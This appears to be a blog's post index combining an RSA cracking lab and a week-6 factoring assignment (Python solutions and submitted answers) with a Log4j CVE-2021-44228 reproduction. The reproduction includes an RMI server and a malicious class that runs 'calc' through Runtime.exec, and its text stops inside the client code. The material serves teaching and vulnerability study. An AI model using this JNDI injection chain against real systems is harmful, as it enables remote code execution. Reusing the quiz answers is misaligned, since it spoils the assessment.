Frame2\nBA645145D9DE58B0FFA6FC4624A2815092D2A2DC405E7A2515F985727D3C52F479A4D04694568CA9B08391BE79BD122808CF6034AB7251088687BFF5916A4F4723FE1372DCF9B069CAB269A9F8F47CB50078D3279B9452C9B3B65A07B49C793783EDB8EB8D8F1A220D9EFED33147483103A2551A96932738255493F13B5119530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001534810A0D1B2F6FB257DC3BBDA30AA76157B89038E52D05EE1E5DB06C2D79FAE84892950EF5FD8ADC4F241C3741AD7C97002902C8CA4D96574F28EDCEF3BEF15303335FA8D250102B4EE77E3B405E30F6B81E92403A8881285B65F29668E05B9CD6AC44FC1CD193CF4A5811A2649BE0EDEFBA91FA7143266286C5EC6EE8077D6 Frame3\nBA645145D9DE58B0FFA6FC4624A2815092D2A2DC405E7A2515F985727D3C52F479A4D04694568CA9B08391BE79BD122808CF6034AB7251088687BFF5916A4F4723FE1372DCF9B069CAB269A9F8F47CB50078D3279B9452C9B3B65A07B49C793783EDB8EB8D8F1A220D9EFED33147483103A2551A96932738255493F13B51195300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100018805A937DABF25FE760F9F398C7D9D5955EF7468FEC89119F8DD69874FB009AB2C424BD6A8E85401C4CD130B48D0490586DFBD81C8154EDCEFC3AFC4F80338432197EB059AB54CF109B231416FB65E2F9BE4F01D455E25486D8E155A5874E8A910E8C65F73ACD953D316B35A148D5AC5834D86F66AD415EBA38AD3908B32780A 2.过程及参数\nRSA 密码算法描述如下,包含体制参数选取和加解密过程。\n1)RSA 体制参数选取\n Step1.每个使用者,任意选择两个大素数$𝑝$和$𝑞$,并求出其乘积$𝑁=𝑝𝑞$。\n Step2.令$𝜑(𝑁)=(𝑝−1)(𝑞−1)$选择整数$𝑒$,使得$GCD(𝑒,𝜑(𝑁))=1$,并求出$𝑒$模 $𝜑(𝑁)$的逆元$𝑑$,即$𝑒𝑑≡1 mod (𝜑(𝑁))$\n Step3.将数对$(𝑒,𝑁)$公布为公钥,$𝑑$保存为私钥。\n2)加解密过程\n Bob欲传递明文𝑚给 Alice,则Bob首先由公开途径找出 Alice 的公钥 $(𝑒,𝑁)$,Bob 计算加密的信息$𝑐$为:$𝑐 ≡ 𝑚^𝑒$ $mod$ $𝑁$。\n Bob 将密文$𝑐$传送给 Alice。 随后 Alice 利用自己的私钥$𝑑$解密: $𝑐^e ≡ (𝑚^𝑒)^𝑑 ≡ 𝑚^{𝑒𝑑}≡ 𝑚\\space mod\\space 𝑁$\nAlice 使用的 RSA 密码体制有以下事项需要说明:\n\t1)模数𝑁=𝑝𝑞规模为1024比特,其中𝑝,𝑞为素数;\n\t2)素数𝑝由某一随机数发生器生成;\n\t3)素数𝑞可以随机选择,也可以由2)中的随机数发生器产生;\n\t4)可以对文本加密,每次加密最多8个明文字符;\n\t5)明文超过8个字符时,对明文分片,每个分片不超过8个字符;\n\t6)分片==明文填充为512比特消息后再进行加密,填充规则为高位添加64比特标志位,随后加上32比特通信序号==,再添加若干个0,最后64比特为明文分片字符对应的ASCII码(**注:填充方式参见加密案例,但注意每次通信的标志位可能变化)\n\t7)分片加密后发送一个加密帧数据,帧数据文件名称为FrameXX,其中XX表示接收序号,该序号不一定等于通信序号;\n\t8)帧数据的数据格式如下,其中数据都是16进制表示,结构如下==1024bit模数N | 1024bit加密指数e | 1024bit密文== $m^e\\space mod \\space N$。\n\t9)由于Alice初次使用该软件,可能会重复发送某一明文分片。\n符号说明: n 模数、p 素数、q素数、e加密指数、d 解密指数、m 明文分片、c 密文分片、“0X”十六进制数据表示\n明文: \u0026ldquo;This is a test of my RSA system.\u0026ldquo;将其分割为4个8字符长度消息(注意:空格也是一个字符)\nThis is 该8字符对应的ASCII为\t54\t68\t69\t73\t20\t69\t73\t20\t将其视为64比特整数为==\u0026gt;\t0X5468697320697320 a test o\t该8字符对应的ASCII为\t61\t20\t74\t65\t73\t74\t20\t6F\t将其视为64比特整数为==\u0026gt;\t0X612074657374206F f my RSA\t该8字符对应的ASCII为\t66\t20\t6D\t79\t20\t52\t53\t41\t将其视为64比特整数为==\u0026gt;\t0X66206D7920525341 system.","title":"RSA 加密体制破译"},{"content":"Content 更好的效果PDF:pdf文章列表 | Asiv\u0026rsquo;s Blog (niceasiv.cn)\nFactoring challenge #1: Your goal in this project is to break RSA when the public modulus $N$ is generated incorrectly. This should serve as yet another reminder not to implement crypto primitives yourself.\nNormally, the primes that comprise an RSA modulus are generated independently of one another. But suppose a developer decides to generate the first prime $p$ by choosing a random number $R$ and scanning for a prime close by. The second prime $q$ is generated by scanning for some other random prime also close to $R$. We show that the resulting RSA modulus $N=p q$ can be easily factored.\n在公开的N没有被正确的生成时破解RSA。通常在RSA中构成模数N的素数q和p,应该独立生成。如果开发者使用一个随机数R,并选择R附近的两个素数作为q和p,那么这种情况情况下生成的RSA模数N就很容易被破解。\nSuppose you are given a composite(合数) $N$ and are told that $N$ is a product of two relatively close primes $p$ and $q$, namely $p$ and $q$ satisfy $$ |p-q|\u0026lt;2 N^{1 / 4} $$ Your goal is to factor $N$. Let $A$ be the arithmetic(算数) average of the two primes, that is $A=\\frac{p+q}{2}$. Since $p$ and $q$ are odd(奇数), we know that $p+q$ is even and therefore $A$ is an integer(整数).\n可以得到 $A=\\frac{p+q}{2}\u0026lt;N^{\\frac{1}{4}}$\nTo factor $N$ you first observe that under condition $\\left.{ }^\\right)$ the quantity $\\sqrt{N}$ is very close to $A$. In particular, we show below that: $$ {A-\\sqrt{N}\u0026lt;1} $$ But since $A$ is an integer, rounding $\\sqrt{N}$ up to the closest integer reveals the value of $A$. In code, $A=$ ceil $(\\operatorname{sqrt}(N))$ where \u0026ldquo;ceil\u0026rdquo; is the ceiling function. Visually, the numbers $p, q, \\sqrt{N}$ and $A$ are ordered as follows:\nSince $A$ is the exact mid-point between $p$ and $q$ there is an integer $x$ such that $p=A-x$ and $q=A+x$. But then $N=p q=(A-x)(A+x)=A^2-x^2$ and therefore $x=\\sqrt{A^2-N}$.\nNow, given $x$ and $A$ you can find the factors $p$ and $q$ of $N$ since $p=A-x$ and $q=A+x$. You have now factored $N$ !\n因为$A$是$p$,$q$的中点\n$\\therefore$ $p=A-x$ $q=A+x$$\\implies N=p q=(A-x)(A+x)=A^2-x^2$\n$\\therefore x=\\sqrt{A^2-N}$\n所以得到$x$的值可以得到$p,q$的取值\nFurther reading: the method described above is a greatly simplified version of a much more general result on factoring when the high order bits of the prime factor are known.\nIn the following challenges, you will factor the given moduli using the method outlined above. To solve this assignment it is best to use an environment that supports multi-precision arithmetic and square roots. In Python you could use the gmpy2 module. In C you can use GMP.\nThe following modulus $N$ is a products of two primes $p$ and $q$ where $|p-q|\u0026lt;2 N^{1 / 4}*$. Find the smaller of the two factors and enter it as a decimal integer in the box below.\nN = 17976931348623159077293051907890247336179769789423065727343008115 \\ 77326758055056206869853794492129829595855013875371640157101398586 \\ 47833778606925583497541085196591615128057575940752635007475935288 \\ 71082364994994077189561705436114947486504671101510156394068052754 \\ 0071584560878577663743040086340742855278549092581 For completeness, let us see why $A-\\sqrt{N}\u0026lt;1$. This follows from the following simple calculation. First observe that $A^2-N=\\left(\\frac{p+q}{2}\\right)^2-N=\\frac{p^2+2 N+q^2}{4}-N=\\frac{p^2-2 N+q^2}{4}=(p-q)^2 / 4$. Now, since for all $x, y: \\quad(x-y)(x+y)=x^2-y^2$ we obtain $A-\\sqrt{N}=(A-\\sqrt{N}) \\frac{A+\\sqrt{N}}{A+\\sqrt{N}}=$ $\\frac{A^2-N}{A+\\sqrt{N}}=\\frac{(p-q)^2 / 4}{A+\\sqrt{N}}$ Since $\\sqrt{N} \\leq A$ it follows that $A-\\sqrt{N} \\leq \\frac{(p-q)^2 / 4}{2 \\sqrt{N}}=\\frac{(p-q)^2}{8 \\sqrt{N}}$. By assumption (*) we know that $(p-q)^2\u0026lt;4 \\sqrt{N}$ and therefore $A-\\sqrt{N} \\leq \\frac{4 \\sqrt{N}}{8 \\sqrt{N}}=1 / 2$ as required.\n$0\u0026lt;A-\\sqrt{N}\u0026lt;1$$\\implies A\u0026lt;\\sqrt{N}+1$\n$\\text{proof:}$\n${A}=\\frac{p+q}{2}, {~N}={pq}$ $A$为整数\n对左边:\n$0\u0026lt;{A}-\\sqrt{N}$ : 由基本不等式 $\\sqrt{ab}\\leq\\frac{a+b}{2}$ 可以得到 $\\sqrt{pq}\u0026lt;\\frac{p+q}{2}$ 因为 $p\\neq q$ ,所以无法取到等号,所以 $\\sqrt{pq}\u0026lt;{A}$$\\implies 0\u0026lt;A-\\sqrt{N}$$\\implies\\sqrt{N}\u0026lt;{A}$\n对右边:\n$A-\\sqrt{N}\u0026lt;1$,有:\n$$ \\mathrm{A}^2-\\mathrm{N}=\\left(\\frac{\\mathrm{p}+\\mathrm{q}}{2}\\right)^2-\\mathrm{N}=\\frac{\\mathrm{p}^2+2 \\mathrm{~N}+\\mathrm{q}^2}{4}-\\mathrm{N}=\\frac{\\mathrm{p}^2-2 \\mathrm{~N}+\\mathrm{q}^2}{4}=\\frac{(\\mathrm{p}-\\mathrm{q})^2}{4}\\tag{1} $$ 对于 $A-\\sqrt{N}$ ,有: $$ A-\\sqrt{N}=\\frac{(A-\\sqrt{N})(A+\\sqrt{N})}{A+\\sqrt{N}}=\\frac{A^2-N}{A+\\sqrt{N}}={A+\\sqrt{N}}=\\frac{\\frac{(p-q)^2}{4}}{A+\\sqrt{N}} \\tag{1} $$ 由于 $\\sqrt{N}\u0026lt;A$ ,那么, $$ A-\\sqrt{\\mathrm{N}}=\\frac{\\frac{(\\mathrm{p}-\\mathrm{q})^2}4}{\\mathrm{~A}+\\sqrt{\\mathrm{N}}}\u0026lt;\\frac{\\frac{(\\mathrm{p}-\\mathrm{q})^2}4}{\\sqrt{\\mathrm{N}}+\\sqrt{\\mathrm{N}}}=\\frac{(\\mathrm{p}-\\mathrm{q})^2}{8 \\sqrt{\\mathrm{N}}} \\tag{3} $$ 由于challenge #1满足 $|p-q|\u0026lt;2 N^{1 / 4}$ ,即 $(p-q)^2\u0026lt;4 \\sqrt{N}$ ,最后得到: $$ \\mathrm{A}-\\sqrt{\\mathrm{N}}=\\frac{(\\mathrm{p}-\\mathrm{q})^2}{8 \\sqrt{\\mathrm{N}}}\u0026lt;\\frac{4 \\sqrt{\\mathrm{N}}}{8 \\sqrt{\\mathrm{N}}}=1 / 2\u0026lt;1 \\tag{4} $$\nEnter the answer for factoring challenge #1 in the box below:\n13407807929942597099574024998205846127479365820592393377723561443721764030073662768891111614362326998675040546094339320838419523375986027530441562135724301 code:\nimport gmpy2 def task1(): #初始化大整数n n =gmpy2.mpz(\u0026#39;17976931348623159077293051907890247336179769789423065727343008115\u0026#39; + \u0026#39;77326758055056206869853794492129829595855013875371640157101398586\u0026#39; + \u0026#39;47833778606925583497541085196591615128057575940752635007475935288\u0026#39; + \u0026#39;71082364994994077189561705436114947486504671101510156394068052754\u0026#39; + \u0026#39;0071584560878577663743040086340742855278549092581\u0026#39;) #得到n的平方根的整数部分 A,r=gmpy2.isqrt_rem(n)#A为整数部分,r为余数 if r\u0026gt;0: A+=1 #得到x x=gmpy2.isqrt(A**2-n) #得到p和q p,q=A-x,A+x #检验p和q是否为素数且p*q=n if gmpy2.is_prime(p) and gmpy2.is_prime(q) and gmpy2.mul(p,q)==n: print(\u0026#39;p=\u0026#39;,p) print(\u0026#39;q=\u0026#39;,q) if __name__ == \u0026#39;__main__\u0026#39;: task1() Factoring challenge #2: The following modulus $N$ is a products of two primes $p$ and $q$ where $|p-q|\u0026lt;2^{11} N^{1 / 4}$. Find the smaller of the two factors and enter it as a decimal integer.\nHint: in this case $A-\\sqrt{N}\u0026lt;2^{20}$ so try scanning for $A$ from $\\sqrt{N}$ upwards, until you succeed in factoring $N$.\n$\\text{Proof:}$\n由Factoring challenge #1的证明\n${A}=\\frac{p+q}{2}, {~N}={pq}$ $A$为整数\n$|p-q|\u0026lt;2^{11} N^{1 / 4}$$\\implies$$(p-q)^2\u0026lt;2^{22}\\sqrt{N}$\n由公式$3$可以得到 $$ 0\u0026lt;A-\\sqrt{\\mathrm{N}}=\\frac{\\frac{(\\mathrm{p}-\\mathrm{q})^2}4}{\\mathrm{~A}+\\sqrt{\\mathrm{N}}}\u0026lt;\\frac{\\frac{(\\mathrm{p}-\\mathrm{q})^2}4}{\\sqrt{\\mathrm{N}}+\\sqrt{\\mathrm{N}}}=\\frac{(\\mathrm{p}-\\mathrm{q})^2}{8 \\sqrt{\\mathrm{N}}}\u0026lt;\\frac{2^{22}\\sqrt{N}}{8\\sqrt{N}}=2^{19}\\tag{5} $$ 因此$A$的范围应该在$(\\sqrt{N},2^{19}+\\sqrt{N})$\nN =6484558428080716696628242653467722787263437207069762630604390703787 \\ 9730861808111646271401527606141756919558732184025452065542490671989 \\ 2428844841839353281972988531310511738648965962582821502504990264452 \\ 1008852816733037111422964210278402893076574586452336833570778346897 \\ 15838646088239640236866252211790085787877 Enter the answer for factoring challenge #2 in the box below:\n25464796146996183438008816563973942229341454268524157846328581927885777969985222835143851073249573454107384461557193173304497244814071505790566593206419759 Code\nimport gmpy2 def task2(): #初始化大整数n n =gmpy2.mpz(\u0026#39;6484558428080716696628242653467722787263437207069762630604390703787\u0026#39;+\u0026#39;9730861808111646271401527606141756919558732184025452065542490671989\u0026#39;+ \u0026#39;2428844841839353281972988531310511738648965962582821502504990264452\u0026#39;+\u0026#39;1008852816733037111422964210278402893076574586452336833570778346897 \u0026#39;+\u0026#39;15838646088239640236866252211790085787877\u0026#39;) #初始化得到n的平方根的整数部分 A=gmpy2.isqrt(n)+1#A为整数部分 向上取整A^2\u0026gt;n #循环次数 max_count=pow(2,20) #得到x for i in range(max_count): x,r=gmpy2.isqrt_rem(A**2-n) #得到p和q if r==0: p,q=A-x,A+x #检验p和q是否为素数且p*q=n if gmpy2.is_prime(p) and gmpy2.is_prime(q) and gmpy2.mul(p,q)==n: print(\u0026#39;[!] Found it count=\u0026#39;,i) print(\u0026#39;p=\u0026#39;,p) print(\u0026#39;q=\u0026#39;,q) break A+=1 if __name__ == \u0026#39;__main__\u0026#39;: task2() Factoring challenge #3: The following modulus $N$ is a product of two primes $p$ and $q$ where $|3 p-2 q|\u0026lt;N^{1 / 4}$. Find the smaller of the two factors and enter it as a decimal integer. Hint: first show that $\\sqrt{6 N}$ is close to $\\frac{3 p+2 q}{2}$ and then adapt the method in challenge #1 to factor $N$.\nN =72006226374735042527956443552558373833808445147399984182665305798191 \\ 63556901883377904234086641876639384851752649940178970835240791356868 \\ 77441155132015188279331812309091996246361896836573643119174094961348 \\ 52463970788523879939683923036467667022162701835329944324119217381272 \\ 9276147530748597302192751375739387929 $A-\\sqrt{6N}\u0026lt;\\frac{1}{8\\sqrt{6}}$\n$\\text{Proof:}$\n定义$A=\\frac{3p+2q}{2}$即$A$是$3p$和$2q$的中点,且$3p$是奇数,$2q$是偶数,所以$A$一定不是整数\n由challenge #1同理\n$\\because $$\\text{A是3p,2q的中点}$\n$\\therefore$ $p=\\frac{A-x}{3}$ $q=\\frac{A+x}{2}$$\\implies N=p q=\\frac{(A-x)(A+x)}{6}=\\frac{A^2-x^2}{6}$(这里其实$\\frac{A-x}{3}$有可能为p或者q,还要根据$A-x$是否被3除尽就可确定)\n$\\therefore x=\\sqrt{A^2-6N}$\n所以得到$x$的值可以得到$p,q$的取值\n由$\\sqrt{ab}\u0026lt;=\\frac{a+b}{2}$\n$\\therefore{\\sqrt{6pq}\u0026lt;\\frac{3p+2q}{2}}$$\\implies \\sqrt{6N}\u0026lt;A$\n$$ A-\\sqrt{6N}=\\frac{A^2-6N}{A+\\sqrt{6N}}=\\frac{\\frac{(3p-2q)^2}{4}}{A+\\sqrt{6N}}\u0026lt;\\frac{\\frac{(3p-2q)^2}{4}}{\\sqrt{6N}+\\sqrt{6N}}=\\frac{\\frac{(3p-2q)^2}{4}}{2\\sqrt{6N}} \\tag {6} $$ 由于challenge3满足$|3 p-2 q|\u0026lt;N^{1 / 4}$即是$(3p-2q)^2\u0026lt;\\sqrt{N}$ $$ A-\\sqrt{6N}\u0026lt;\\frac{\\frac{(3p-2q)^2}{4}}{2\\sqrt{6N}}\u0026lt;\\frac{1}{8\\sqrt{6}} $$\nEnter the answer for factoring challenge #3 in the box below:\n21909849592475533092273988531583955898982176093344929030099423584127212078126150044721102570957812665127475051465088833555993294644190955293613411658629209 code\nfrom decimal import Decimal, getcontext def isqrt(n): x = n y = (x + 1) // 2 while y \u0026lt; x: x = y y = (x + n // x) // 2 return x def task3(): n=720062263747350425279564435525583738338084451473999841826653057981916355690188337790423408664187663938485175264994017897083524079135686877441155132015188279331812309091996246361896836573643119174094961348524639707885238799396839230364676670221627018353299443241192173812729276147530748597302192751375739387929 getcontext().prec=350#设置精度 A=Decimal(isqrt(6*n))+Decimal(0.5) while True: x=Decimal(A**2-6*Decimal(n)).sqrt() p=int(A-x) q=int(A+x) if p*q==6*n: if p%3==0 and q%2==0: p//=3 q//=2 break if p%2==0 and q%3==0: p//=2 q//=3 break A+=1 print(p) print(q) if __name__ == \u0026#39;__main__\u0026#39;: task3() 4. The challenge ciphertext provided below is the result of encrypting a short secret ASCII plaintext using the RSA modulus given in the first factorization challenge.\nThe encryption exponent used is $e=65537$ The ASCII plaintext was encoded using PKCS v1.5 before the RSA function was applied, as described in PKCS.\nUse the factorization you obtained for this RSA modulus to decrypt this challenge ciphertext and enter the resulting English plaintext in the box below. Recall that the factorization of $N$ enables you to compute $\\varphi(N)$from which you can obtain the RSA decryption exponent.\nChallenge ciphertext (as a decimal integer): 22096451867410381776306561134883418017410069787892831071731839143676135600120538004282329650473509424343946219751512256465839967942889460764542040581564748988013734864120452325229320176487916666402997509188729971690526083222067771600019329260870009579993724077458967773697817571267229951148662959627934791540 After you use the decryption exponent to decrypt the challenge ciphertext you will obtain a PKCS1 encoded plaintext.To undo the encoding it is best to write the decrypted value in hex.You will observe that the number starts with a \u0026lsquo;0x02\u0026rsquo; followed by many random non-zero digits.Look for the \u0026lsquo;0x00\u0026rsquo; separator and the digits following this separator are the ASCII letters of the plaintext.\n(note: the separator used here is \u0026lsquo;0x00\u0026rsquo;, not \u0026lsquo;0xFF\u0026rsquo; as stated in the lecture)\n公钥就是 N,e 而 私钥就是N,d 加密 m^e ≡ c (mod n) 解密 c^d ≡ m (mod n) import binascii import gmpy2 def task4(): c = gmpy2.mpz(\u0026#39;22096451867410381776306561134883418017410069787892831071731839143676135600120538004282329650473509424343946219751512256\u0026#39; + \u0026#39;46583996794288946076454204058156474898801373486412045232522932017648791666640299750918872997169052608322206777160001932\u0026#39; + \u0026#39;9260870009579993724077458967773697817571267229951148662959627934791540\u0026#39;) n = gmpy2.mpz(\u0026#39;17976931348623159077293051907890247336179769789423065727343008115\u0026#39; + \u0026#39;77326758055056206869853794492129829595855013875371640157101398586\u0026#39; + \u0026#39;47833778606925583497541085196591615128057575940752635007475935288\u0026#39; + \u0026#39;71082364994994077189561705436114947486504671101510156394068052754\u0026#39; + \u0026#39;0071584560878577663743040086340742855278549092581\u0026#39;) e =gmpy2.mpz(65537) a = gmpy2.isqrt(n) + 1 x = gmpy2.isqrt(a**2 - n) p = a - x q = a + x fi = (p-1) * (q-1)#欧拉函数 d = gmpy2.invert(e, fi)#求e的模fi的逆元 r = gmpy2.powmod(c, d, n)#求c的d次方模n #PKCS解密 m = gmpy2.digits(r, 16).split(\u0026#39;00\u0026#39;)[1]#将r转换为16进制,然后以00为分隔符分割,取第二个元素 return binascii.unhexlify(m.encode(\u0026#39;utf-8\u0026#39;)) if __name__ == \u0026#39;__main__\u0026#39;: print(task4()) Factoring lets us break RSA. 参考博客 实验四 RSA中公开的模数N_chuxuezheerer的博客-CSDN博客_rsa 模数\n","permalink":"https://niceasiv.cn/posts/week6-quiz/","summary":"Content 更好的效果PDF:pdf文章列表 | Asiv\u0026rsquo;s Blog (niceasiv.cn)\nFactoring challenge #1: Your goal in this project is to break RSA when the public modulus $N$ is generated incorrectly. This should serve as yet another reminder not to implement crypto primitives yourself.\nNormally, the primes that comprise an RSA modulus are generated independently of one another. But suppose a developer decides to generate the first prime $p$ by choosing a random number $R$ and scanning for a prime close by. The second prime $q$ is generated by scanning for some other random prime also close to $R$. We show that the resulting RSA modulus $N=p q$ can be easily factored.\n在公开的N没有被正确的生成时破解RSA。通常在RSA中构成模数N的素数q和p,应该独立生成。如果开发者使用一个随机数R,并选择R附近的两个素数作为q和p,那么这种情况情况下生成的RSA模数N就很容易被破解。\nSuppose you are given a composite(合数) $N$ and are told that $N$ is a product of two relatively close primes $p$ and $q$, namely $p$ and $q$ satisfy $$ |p-q|\u0026lt;2 N^{1 / 4} $$ Your goal is to factor $N$.","title":"Week 6 - Programming Assignment"},{"content":" Humoooor\rFree to Hack\rWking\rEnjoy your life for yourself!\r","permalink":"https://niceasiv.cn/friends/","summary":" Humoooor\rFree to Hack\rWking\rEnjoy your life for yourself!\r","title":"朋友们"},{"content":"人们与我 3.28\n理查德·巴克斯特说: 我们时常妒忌比我们地位高的人,藐视地位不及我们的人; 垂涎别人的名望、财富, 或者傲慢、冷酷地看待别人的贫寒窘迫。看到外形姣好的人, 则诱发我们的情欲; 看见有残疾的人, 就引发我们的鄙夷之心……我们自己才是自己最大的网罗。\n我们时常嫉妒身边的比我们优秀的人,仰慕远处那些远比我们地位要高的人。面对他人的优秀,成功和社会地位,人本能地想要靠近,又远离;不停地挑他人错处,又不停追逐那样的生活。面对身边比自己困窘的人,人主动排斥,远远站开,生怕惹上一身腥臊。面对远处比自己困窘的人,又要轻声安慰,为之流泪,巴不得在观音菩萨跟前为人家祈福。人骨子里是一体两面的,既虚伪到不行又纯粹得彻底。\n3.29 读《圆圈正义》\n组织卖淫行为,和强迫卖淫不同, 在组织卖淫的情况下, 卖淫者往往是自愿的, 组织者利用了卖淫者经济上的不利地位或者道德上的缺陷。如果不考虑道德价值, 组织卖淫这种行为对卖淫者、嫖客、组织者都是有利的, 如果允许国家征税, 甚至会造成“四方共赢”的局面。但这种利用行为没有任何积极正面道德价值, 因此属于剥削, 值得谴责, 甚至可以犯罪论处。\n尼尔·波兹曼《娱乐至死》\n“娱乐至死”的可怕之处不在于娱乐本身,而在于人们日渐失去对社会事务的严肃思考和理智判断的能力,在于被轻佻的文化环境培养成了既无知且无畏的理性文盲而不自知。\n死亡 亲情 ","permalink":"https://niceasiv.cn/posts/life/","summary":"人们与我 3.28\n理查德·巴克斯特说: 我们时常妒忌比我们地位高的人,藐视地位不及我们的人; 垂涎别人的名望、财富, 或者傲慢、冷酷地看待别人的贫寒窘迫。看到外形姣好的人, 则诱发我们的情欲; 看见有残疾的人, 就引发我们的鄙夷之心……我们自己才是自己最大的网罗。\n我们时常嫉妒身边的比我们优秀的人,仰慕远处那些远比我们地位要高的人。面对他人的优秀,成功和社会地位,人本能地想要靠近,又远离;不停地挑他人错处,又不停追逐那样的生活。面对身边比自己困窘的人,人主动排斥,远远站开,生怕惹上一身腥臊。面对远处比自己困窘的人,又要轻声安慰,为之流泪,巴不得在观音菩萨跟前为人家祈福。人骨子里是一体两面的,既虚伪到不行又纯粹得彻底。\n3.29 读《圆圈正义》\n组织卖淫行为,和强迫卖淫不同, 在组织卖淫的情况下, 卖淫者往往是自愿的, 组织者利用了卖淫者经济上的不利地位或者道德上的缺陷。如果不考虑道德价值, 组织卖淫这种行为对卖淫者、嫖客、组织者都是有利的, 如果允许国家征税, 甚至会造成“四方共赢”的局面。但这种利用行为没有任何积极正面道德价值, 因此属于剥削, 值得谴责, 甚至可以犯罪论处。\n尼尔·波兹曼《娱乐至死》\n“娱乐至死”的可怕之处不在于娱乐本身,而在于人们日渐失去对社会事务的严肃思考和理智判断的能力,在于被轻佻的文化环境培养成了既无知且无畏的理性文盲而不自知。\n死亡 亲情 ","title":"Asiv的人生感悟"},{"content":"","permalink":"https://niceasiv.cn/posts/cve20200601/","summary":"","title":"CVE2020-06-01复现"},{"content":"主要内容 CVE-2021-44228 Apache Log4j漏洞复现 0x01.漏洞情况 影响范围: Apache Log4j 2.x \u0026lt; 2.15.0-rc2\nApache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。\nSpring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、Flume、Dubbo、Redis、Logstash、Kafka均受影响。\n0x02.组件介绍 RIM RMI ( Remote Method Invocation , 远程方法调用 ) 是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,例如CORBA、WebService,这两种是独立于编程语言的。而Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。\n另外,需要知道注册表的概念,说简单一点就是,服务端那里有一个对象,客户端想要调用服务端里的那个对象的方法,而注册表就像一个中间人,服务端会将自己提供的服务的实现类交给这个中间人 , 并公开一个名称 . 任何客户端都可以通过公开的名称找到这个实现类 , 并调用它。\nLDAP LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。\n目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。\n目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。\nLDAP目录服务是由目录数据库和一套访问协议组成的系统。\nJNDI JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。\n既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。\n而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。\n而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。\n而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。\n总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。\n注册中心服务\n抽象接口,他隔离了具体的资源,使得连接相关更便捷\nJNDI则是Java中用于访问LDAP的API ,开发人员使用JNDI完成与LDAP 服务器 之间的通信,即用JNDI来访问LDAP,而不需要和具体的目录服务产品特性打交道。\nJNDI动态协议转换 当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象\nJNDl Naming Reference命名引用 当有客户端通过lookup(\u0026ldquo;refObj\u0026rdquo;)获取远程对象时,获取的是一个Reference存根(Stub),由于是 Reference的存根,所以客户端会现在本地的 classpath中去检查是否存在类refClassName,如果不存在则去指定的url动态加载。\n当系统使用log4j通过$形式将用户输入的信息打印到日志时﹐那这就会出现JNDI注入漏洞\n0x03.漏洞利用原理 利用条件\nJava应用引入了log4j-api和log4j-core两个jar包\n当系统使用log4j通过$形式将用户输入的信息打印到日志时﹐那这就会出现JNDI注入漏洞\n黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。\n·\n0x04.漏洞复现 实验环境 Windows 11 jdk-8u212-windows jdk 1.8.121(理论上JDK 6u211、7u201、8u191之前的版本都行) JNDI-Injection-Exploit log4j-api\u0026amp;log4j-core 2.15.0-rc2 docker 本地复现 复现的流程 ·\n·\nserver开启一个rmi import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) { try { // 本地主机上的远程对象注册表Registry的实例,默认端口1099 LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println(\u0026#34;Create RMI registry on port 1099\u0026#34;); //返回的Java对象 Reference reference = new Reference(\u0026#34;HackCode\u0026#34;,\u0026#34;HackCode\u0026#34;,null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); // 把远程对象注册到RMI注册服务器上,并命名为hack registry.bind(\u0026#34;hack\u0026#34;,referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } } 恶意的代码库中的hack类 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; /** * 执行任意的脚本,目前的脚本会使windows服务器打开计算器 */ public class HackCode { static { System.out.println(\u0026#34;受害服务器将执行下面命令行\u0026#34;); Process p; String[] cmd = {\u0026#34;calc\u0026#34;}; try { p = Runtime.getRuntime().exec(cmd); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = null; while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } } 客户端 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { //有些高版本jdk需要打开此行代码 